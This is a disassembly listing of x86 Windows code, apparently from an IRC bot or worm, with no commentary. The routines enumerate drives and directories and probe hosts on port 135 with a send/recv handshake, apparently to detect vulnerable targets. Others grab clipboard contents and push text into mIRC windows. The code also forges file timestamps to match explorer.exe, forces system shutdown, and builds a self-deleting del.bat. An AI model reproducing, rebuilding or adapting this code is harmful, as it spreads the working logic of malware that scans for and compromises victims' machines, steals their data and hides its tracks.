		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed_2 ; "failed"
		rep movsd
		push	eax
		call	sub_418A30
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41140F
		push	ebx
		push	ebx
		call	sub_4111E7
		pop	ecx
		push	eax
		push	offset unk_44324C
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_417E80
		add	esp, 14h
		jmp	short loc_411443
; ---------------------------------------------------------------------------


loc_41140F:				; CODE XREF: sub_41139C+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4111E7
		pop	ecx
		push	eax
		push	offset unk_443288
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_417E80
		add	esp, 20h


loc_411443:				; CODE XREF: sub_41139C+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40F927
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41139C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41146E	proc near		; CODE XREF: sub_401C87+2016p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_41148F
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41139C
		add	esp, 10h
		jmp	short loc_4114EE
; ---------------------------------------------------------------------------


loc_41148F:				; CODE XREF: sub_41146E+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4D65D0	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_415090
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4D65D0	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_4114E5


loc_4114B3:				; CODE XREF: sub_41146E+75j
		push	offset aA_2	; "A:\\"
		push	esi
		call	sub_418A30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4114D6
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41139C
		add	esp, 10h


loc_4114D6:				; CODE XREF: sub_41146E+54j
		push	esi
		call	sub_414EC0
		lea	esi, [esi+eax+1]
		pop	ecx
		cmp	[esi], bl
		jnz	short loc_4114B3


loc_4114E5:				; CODE XREF: sub_41146E+43j
		push	edi
		call	sub_415C20
		pop	ecx
		pop	edi
		pop	esi


loc_4114EE:				; CODE XREF: sub_41146E+1Fj
		pop	ebx
		pop	ebp
		retn
sub_41146E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4114F1	proc near		; DATA XREF: sub_401C87+5100o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_414EC0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_411546
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_414EC0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_411546:				; CODE XREF: sub_4114F1+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_4432C8
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_417E80
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_41158B
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40764A
		add	esp, 14h


loc_41158B:				; CODE XREF: sub_4114F1+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_411609
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset dword_4432F0
		push	eax
		call	sub_417CB0
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4115E9
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40764A
		add	esp, 14h


loc_4115E9:				; CODE XREF: sub_4114F1+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40F927
		push	[ebp+var_10]
		call	sub_409979
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4E03A0	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_4114F1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411609	proc near		; CODE XREF: sub_4114F1+B9p
					; sub_411609+9Cp

var_548		= byte ptr -548h
var_348		= byte ptr -348h
var_244		= byte ptr -244h
var_140		= byte ptr -140h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 548h
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_244]
		push	offset dword_443310
		push	esi
		push	eax
		call	sub_417E80
		mov	edi, dword_4E03EC
		add	esp, 10h
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_244]
		push	eax
		call	edi	; FindFirstFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4116C2


loc_41164F:				; CODE XREF: sub_411609+B7j
		test	[ebp+var_140], 10h
		jz	short loc_4116B0
		cmp	[ebp+var_114], 2Eh
		jnz	short loc_411673
		cmp	[ebp+var_113], 0
		jz	short loc_4116B0
		cmp	[ebp+var_113], 2Eh
		jz	short loc_4116B0


loc_411673:				; CODE XREF: sub_411609+56j
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_348]
		push	[ebp+arg_10]
		push	offset dword_443318
		push	esi
		push	eax
		call	sub_417E80
		push	[ebp+arg_14]
		lea	eax, [ebp+var_348]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_411609
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_4116B0:				; CODE XREF: sub_411609+4Dj
					; sub_411609+5Fj ...
		lea	eax, [ebp+var_140]
		push	eax
		push	ebx
		call	dword_4E03E8	; FindNextFileA
		test	eax, eax
		jnz	short loc_41164F


loc_4116C2:				; CODE XREF: sub_411609+44j
		push	ebx
		mov	ebx, dword_4E03DC
		call	ebx	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_244]
		push	[ebp+arg_10]
		push	offset dword_443320
		push	esi
		push	eax
		call	sub_417E80
		add	esp, 14h
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_244]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41174C


loc_4116FD:				; CODE XREF: sub_411609+141j
		lea	eax, [ebp+var_114]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_548]
		push	[ebp+arg_10]
		push	offset dword_443328
		push	200h
		push	eax
		call	sub_417E80
		push	1
		lea	eax, [ebp+var_548]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 28h
		lea	eax, [ebp+var_140]
		push	eax
		push	esi
		call	dword_4E03E8	; FindNextFileA
		test	eax, eax
		jnz	short loc_4116FD


loc_41174C:				; CODE XREF: sub_411609+F2j
		push	esi
		call	ebx	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411757	proc near		; CODE XREF: sub_41178F+125p
					; sub_41178F+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_411785


loc_411768:				; CODE XREF: sub_411757+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41A5D0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41178B
		inc	esi
		cmp	esi, edi
		jl	short loc_411768


loc_411785:				; CODE XREF: sub_411757+Fj
		xor	al, al


loc_411787:				; CODE XREF: sub_411757+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41178B:				; CODE XREF: sub_411757+27j
		mov	al, 1
		jmp	short loc_411787
sub_411757	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41178F	proc near		; CODE XREF: sub_40C16C+16p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_4181D0
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_4117D0
		dec	eax
		jz	short loc_4117AE
		dec	eax


loc_4117A8:				; CODE XREF: sub_41178F+57j
		xor	eax, eax


loc_4117AA:				; CODE XREF: sub_41178F+3Fj
					; sub_41178F+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4117AE:				; CODE XREF: sub_41178F+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4D66A8	; inet_addr
		push	eax
		call	sub_40A5E3
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_4117AA
; ---------------------------------------------------------------------------


loc_4117D0:				; CODE XREF: sub_41178F+13j
		push	6
		push	1
		push	2
		call	dword_4D66E8	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_4117A8
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4D6668	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_408766
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4D6610	; connect
		cmp	eax, edi
		jz	loc_4118EC
		push	ebx
		push	48h
		push	offset dword_443348
		push	esi
		call	dword_4D66B8	; send
		cmp	eax, edi
		jz	loc_4118EC
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4D6680	; recv
		cmp	eax, edi
		jz	loc_4118EC
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_4118EC
		push	ebx
		push	18h
		push	offset dword_443394
		push	[ebp+arg_4]
		call	dword_4D66B8	; send
		cmp	eax, edi
		jz	short loc_4118EC
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4D6680	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_4118EC
		cmp	[ebp+var_200E],	2
		jnz	short loc_4118EC
		push	10h
		push	offset loc_4433B0
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_411757
		add	esp, 10h
		test	al, al
		jz	short loc_4118CC
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_4118EC
; ---------------------------------------------------------------------------


loc_4118CC:				; CODE XREF: sub_41178F+12Fj
		push	10h
		push	offset dword_4433C4
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_411757
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_4118EC:				; CODE XREF: sub_41178F+9Bj
					; sub_41178F+B2j ...
		push	[ebp+arg_4]
		call	dword_4D6700	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_4117AA
sub_41178F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4118FD	proc near		; CODE XREF: sub_401C87+BB6p
					; sub_401C87+BE7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_411988
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_411988
		cmp	[ebp+arg_8], esi
		jz	short loc_411988
		cmp	byte ptr [eax],	0
		jz	short loc_411988
		push	ebx
		push	edi
		call	sub_433AD0
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_411983
		push	[ebp+arg_4]
		push	edi
		call	sub_417E00
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41197C
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_417760
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_414EC0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_419200
		push	[ebp+arg_4]
		call	sub_414EC0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_418880
		push	ebx
		push	edi
		call	sub_418870
		add	esp, 30h
		mov	esi, edi


loc_41197C:				; CODE XREF: sub_4118FD+3Cj
		push	ebx
		call	sub_415C20
		pop	ecx


loc_411983:				; CODE XREF: sub_4118FD+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_41198A
; ---------------------------------------------------------------------------


loc_411988:				; CODE XREF: sub_4118FD+Cj
					; sub_4118FD+13j ...
		xor	eax, eax


loc_41198A:				; CODE XREF: sub_4118FD+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4118FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41198E	proc near		; CODE XREF: sub_401B0B+E9p
					; sub_40E91A+F4p

var_7D0		= dword	ptr -7D0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	ebx
		push	eax
		call	sub_417700
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_414EC0
		xor	edi, edi
		add	esp, 10h
		inc	edi
		cmp	eax, edi
		jge	short loc_4119C6
		or	eax, 0FFFFFFFFh
		jmp	short loc_411A2D
; ---------------------------------------------------------------------------


loc_4119C6:				; CODE XREF: sub_41198E+31j
		xor	ecx, ecx
		cmp	eax, ebx
		mov	[ebp+var_7D0], esi
		jle	short loc_4119E7


loc_4119D2:				; CODE XREF: sub_41198E+57j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4119DF
		cmp	dl, 0Dh
		jnz	short loc_4119E2


loc_4119DF:				; CODE XREF: sub_41198E+4Aj
		mov	[ecx+esi], bl


loc_4119E2:				; CODE XREF: sub_41198E+4Fj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_4119D2


loc_4119E7:				; CODE XREF: sub_41198E+42j
		xor	edx, edx
		cmp	eax, ebx
		jle	short loc_411A0F


loc_4119ED:				; CODE XREF: sub_41198E+7Fj
		cmp	[edx+esi], bl
		jnz	short loc_411A0A
		lea	ecx, [edx+esi+1]
		cmp	[ecx], bl
		jz	short loc_411A0A
		cmp	edi, 1F4h
		jge	short loc_411A0F
		mov	[ebp+edi*4+var_7D0], ecx
		inc	edi


loc_411A0A:				; CODE XREF: sub_41198E+62j
					; sub_41198E+6Aj
		inc	edx
		cmp	edx, eax
		jl	short loc_4119ED


loc_411A0F:				; CODE XREF: sub_41198E+5Dj
					; sub_41198E+72j
		cmp	[ebp+arg_4], ebx
		jz	short loc_411A2B
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_419330
		add	esp, 0Ch


loc_411A2B:				; CODE XREF: sub_41198E+84j
		mov	eax, edi


loc_411A2D:				; CODE XREF: sub_41198E+36j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41198E	endp


; =============== S U B	R O U T	I N E =======================================



sub_411A32	proc near		; CODE XREF: sub_411A8C+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_411A6B
		push	ebx
		mov	ebx, edi


loc_411A4F:				; CODE XREF: sub_411A32+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_411A6E
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_411A4F
		pop	ebx


loc_411A6B:				; CODE XREF: sub_411A32+18j
		pop	edi
		pop	esi
		retn
sub_411A32	endp


; =============== S U B	R O U T	I N E =======================================



sub_411A6E	proc near		; CODE XREF: sub_411A32+25p
					; sub_411A8C+69p

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41A690
		cmp	al, 61h
		pop	ecx
		jl	short loc_411A89
		cmp	al, 7Ah
		jg	short loc_411A89
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_411A89:				; CODE XREF: sub_411A6E+Ej
					; sub_411A6E+12j
		xor	eax, eax
		retn
sub_411A6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A8C	proc near		; CODE XREF: .data:0040FA30p
					; sub_40FAA5+10p ...

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_4181D0
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_414EC0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_414EC0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_411A32
		add	esp, 14h
		dec	esi
		mov	edi, esi
		jmp	short loc_411B3E
; ---------------------------------------------------------------------------


loc_411ACC:				; CODE XREF: sub_411A8C+B4j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41A690
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41A690
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_411B3C


loc_411AEE:				; CODE XREF: sub_411A8C+AEj
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_411A6E
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_411B0F
		mov	eax, ecx


loc_411B0F:				; CODE XREF: sub_411A8C+7Fj
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_411B4C
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41A690
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_41A690
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_411AEE


loc_411B3C:				; CODE XREF: sub_411A8C+60j
		dec	edi
		dec	esi


loc_411B3E:				; CODE XREF: sub_411A8C+3Ej
		test	esi, esi
		jg	short loc_411ACC
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_411B47:				; CODE XREF: sub_411A8C+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_411B4C:				; CODE XREF: sub_411A8C+88j
		xor	eax, eax
		jmp	short loc_411B47
sub_411A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411B50	proc near		; CODE XREF: sub_401C87+378Bp
					; sub_401C87+502Bp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	dword_4E02CC	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_411B89:				; CODE XREF: sub_411B50+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_411B95
		cmp	cl, 9
		jnz	short loc_411B98


loc_411B95:				; CODE XREF: sub_411B50+3Ej
		inc	eax
		jmp	short loc_411B89
; ---------------------------------------------------------------------------


loc_411B98:				; CODE XREF: sub_411B50+43j
					; sub_411B50+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_411BB2
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_411B98
		cmp	cl, 21h
		jl	short loc_411B98


loc_411BB2:				; CODE XREF: sub_411B50+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DD408
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_417E80
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_411B50	endp


; =============== S U B	R O U T	I N E =======================================



sub_411BDA	proc near		; CODE XREF: sub_401C87+1F8Dp
		push	esi
		push	0
		call	dword_4D6638	; OpenClipboard
		test	eax, eax
		jz	short loc_411C11
		push	1
		call	dword_4D6658	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_411C11
		push	edi
		push	esi
		call	dword_4E0404	; GlobalLock
		push	esi
		mov	edi, eax
		call	dword_4E0400	; GlobalUnlock
		call	dword_4D66BC	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_411C11:				; CODE XREF: sub_411BDA+Bj
					; sub_411BDA+19j
		xor	eax, eax
		pop	esi
		retn
sub_411BDA	endp


; =============== S U B	R O U T	I N E =======================================



sub_411C15	proc near		; CODE XREF: sub_401C87+3527p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		xor	esi, esi
		push	esi
		push	offset aMirc_2	; "mIRC"
		call	dword_4D6674	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_411C95
		push	ebx
		push	edi
		push	offset aMirc_3	; "mIRC"
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	dword_4E0410	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	dword_4E040C	; MapViewOfFile
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_417CB0
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4D66C4	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4D66C4	; SendMessageA
		push	ebx
		call	dword_4E0408	; UnmapViewOfFile
		push	edi
		call	dword_4E032C	; CloseHandle
		xor	eax, eax
		pop	edi
		inc	eax
		pop	ebx
		jmp	short loc_411C97
; ---------------------------------------------------------------------------


loc_411C95:				; CODE XREF: sub_411C15+14j
		xor	eax, eax


loc_411C97:				; CODE XREF: sub_411C15+7Ej
		pop	esi
		pop	ebp
		retn
sub_411C15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411C9A	proc near		; CODE XREF: sub_401404+200p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4D6720	; SearchPathA
		test	eax, eax
		jz	short loc_411D39
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4E03D8
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_411D39
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	dword_4E0418	; GetFileTime
		push	ebx
		mov	ebx, dword_4E032C
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_411D39
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4E0414	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_411D39:				; CODE XREF: sub_411C9A+2Aj
					; sub_411C9A+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411C9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		push	esi
		xor	esi, esi
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_417700
		push	44h
		lea	eax, [ebp-54h]
		push	esi
		push	eax
		call	sub_417700
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-454h]
		mov	dword ptr [ebp-54h], 44h
		mov	dword ptr [ebp-28h], 1
		push	dword ptr [ebp+8]
		mov	[ebp-24h], si
		push	offset aSS_5	; "%s %s"
		push	400h
		push	eax
		call	sub_417E80
		add	esp, 2Ch
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-54h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-454h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4E0330	; CreateProcessA
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, [ebp-8]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_411DBC	proc near		; CODE XREF: sub_401C87+133Dp
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_413788
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4D65A8	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_411DBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DDE	proc near		; CODE XREF: sub_401C87+2221p
					; sub_410C53+45Fp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_437094, esi
		push	edi
		jz	short loc_411E02
		cmp	dword_4D6734, esi
		jnz	short loc_411E02
		push	esi
		call	sub_401000
		pop	ecx


loc_411E02:				; CODE XREF: sub_411DDE+13j
					; sub_411DDE+1Bj
		call	sub_409826
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	dword_4E0370	; GetTempPathA
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_417CB0
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
